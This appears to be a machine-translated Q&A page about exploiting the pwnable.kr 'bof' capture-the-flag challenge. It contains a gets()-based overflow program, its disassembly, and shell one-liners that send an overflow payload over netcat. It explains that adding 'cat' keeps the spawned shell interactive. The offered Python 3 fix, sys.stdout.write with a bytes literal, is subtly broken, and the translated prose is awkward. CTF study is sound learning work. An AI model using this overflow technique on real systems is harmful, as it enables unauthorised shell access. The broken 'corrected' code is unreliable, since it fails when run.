为什么要用cat打开交互式外壳?

问题描述

在没有下载链接的情况下再次询问

问题描述

Nana告诉我,缓冲区溢出是最常见的软件漏洞之一。 是真的吗?

bof.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc,char* argv[]){
        func(0xdeadbeef);
        return 0;
}

bof

(gdb) disassemble main
Dump of assembler code for function main:
   0x0000068a <+0>: push   %ebp
   0x0000068b <+1>: mov    %esp,%ebp
   0x0000068d <+3>: and    $0xfffffff0,%esp
   0x00000690 <+6>: sub    $0x10,%esp
   0x00000693 <+9>: movl   $0xdeadbeef,(%esp)
   0x0000069a <+16>:    call   0x62c <func>
   0x0000069f <+21>:    mov    $0x0,%eax
   0x000006a4 <+26>:    leave  
   0x000006a5 <+27>:    ret    
End of assembler dump.
(gdb) disassemble func
Dump of assembler code for function func:
   0x0000062c <+0>: push   %ebp
   0x0000062d <+1>: mov    %esp,%ebp
   0x0000062f <+3>: sub    $0x48,%esp
   0x00000632 <+6>: mov    %gs:0x14,%eax
   0x00000638 <+12>:    mov    %eax,-0xc(%ebp)
   0x0000063b <+15>:    xor    %eax,%eax
   0x0000063d <+17>:    movl   $0x78c,(%esp)
   0x00000644 <+24>:    call   0x645 <func+25>
   0x00000649 <+29>:    lea    -0x2c(%ebp),%eax
   0x0000064c <+32>:    mov    %eax,(%esp)
   0x0000064f <+35>:    call   0x650 <func+36>
   0x00000654 <+40>:    cmpl   $0xcafebabe,0x8(%ebp)
   0x0000065b <+47>:    jne    0x66b <func+63>
   0x0000065d <+49>:    movl   $0x79b,(%esp)
   0x00000664 <+56>:    call   0x665 <func+57>
   0x00000669 <+61>:    jmp    0x677 <func+75>
   0x0000066b <+63>:    movl   $0x7a3,(%esp)
   0x00000672 <+70>:    call   0x673 <func+71>
   0x00000677 <+75>:    mov    -0xc(%ebp),%eax
   0x0000067a <+78>:    xor    %gs:0x14,%eax
   0x00000681 <+85>:    je     0x688 <func+92>
   0x00000683 <+87>:    call   0x684 <func+88>
   0x00000688 <+92>:    leave  
   0x00000689 <+93>:    ret    
End of assembler dump.

解决方

https://0xrick.github.io/pwn/bof/

我知道我们必须提供52个垃圾字符和cafebabe,以使缓冲区溢出。但是,当我仅将其作为输入传递时,没有交互式外壳。也只有当我传递cat命令时。为什么猫是必需的?

---编辑---

我忘了提到它正在服务器上运行,我使用nc pwnable.kr 9000连接到它。我以python -c 'print("A"*52 + "\xbe\xba\xfe\xca")' | nc pwnable.kr 9000的形式输入。正确答案据说是(python -c 'print("A"*52 + "\xbe\xba\xfe\xca")'; cat) | nc pwnable.kr 9000

解决方法

这里首先要理解的是 pipes 的概念。运行命令时

python -c 'print("A"*52 + "\xbe\xba\xfe\xca")' | nc pwnable.kr 9000

shell 创建一个管道,并启动两个进程:python 和 nc。 Python 的输出连接(重定向)到管道输入,管道输出连接到 netcat。外壳不保留对管道的引用。 nc 的输出仍然连接到终端,python 的输入也是如此。当 python 在打印数据后终止时,内核关闭它的文件描述符,并且管道在其输入关闭后,将在管道中保留所有缓冲数据后立即向读取器报告 EOF。管道可以做的另一件事是无限期地挂起,但这毫无意义。

想象以下管道:

echo 123 | tail

由于定义明确的语义,它的行为方式必须与您的完全相同。每当 tail 的输入结束时,它就不会从终端读取任何内容。

第二个问题是,如果您有 python 指向 Python 3 安装(现在很可能至少有几年),您将使用 unicode 字符串而不是字节字符串。该问题在官方 pwntools 教程中有深入描述: https://github.com/Gallopsled/pwntools-tutorial/blob/master/bytes.md

所以你应该这样做

python -c 'import sys; sys.stdout.write(b"A"*52 + b"\xbe\xba\xfe\xca")' | nc pwnable.kr 9000

那是因为在 python 3 中你的代码意味着

python -c 'print("A"*52 + "\u00be\u00ba\u00fe\u00ca")' | nc pwnable.kr 9000

这只会产生一些以 UTF-8 打印的不相关的 Unicode 字符。

相关问答

Selenium Web驱动程序和Java。元素在(x,y)点处不可单击。其...
Python-如何使用点“。” 访问字典成员?
Java 字符串是不可变的。到底是什么意思?
Java中的“ final”关键字如何工作?(我仍然可以修改对象。...
“loop:”在Java代码中。这是什么,为什么要编译?
java.lang.ClassNotFoundException:sun.jdbc.odbc.JdbcOdbc...